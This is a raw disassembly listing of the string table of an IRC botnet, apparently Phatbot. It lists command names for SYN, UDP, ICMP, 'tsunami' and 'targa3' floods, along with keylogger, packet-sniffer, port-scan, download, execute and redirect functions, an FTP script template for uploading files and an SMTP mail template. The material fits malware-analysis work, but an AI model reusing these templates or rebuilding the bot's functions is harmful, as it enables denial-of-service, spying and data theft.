		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
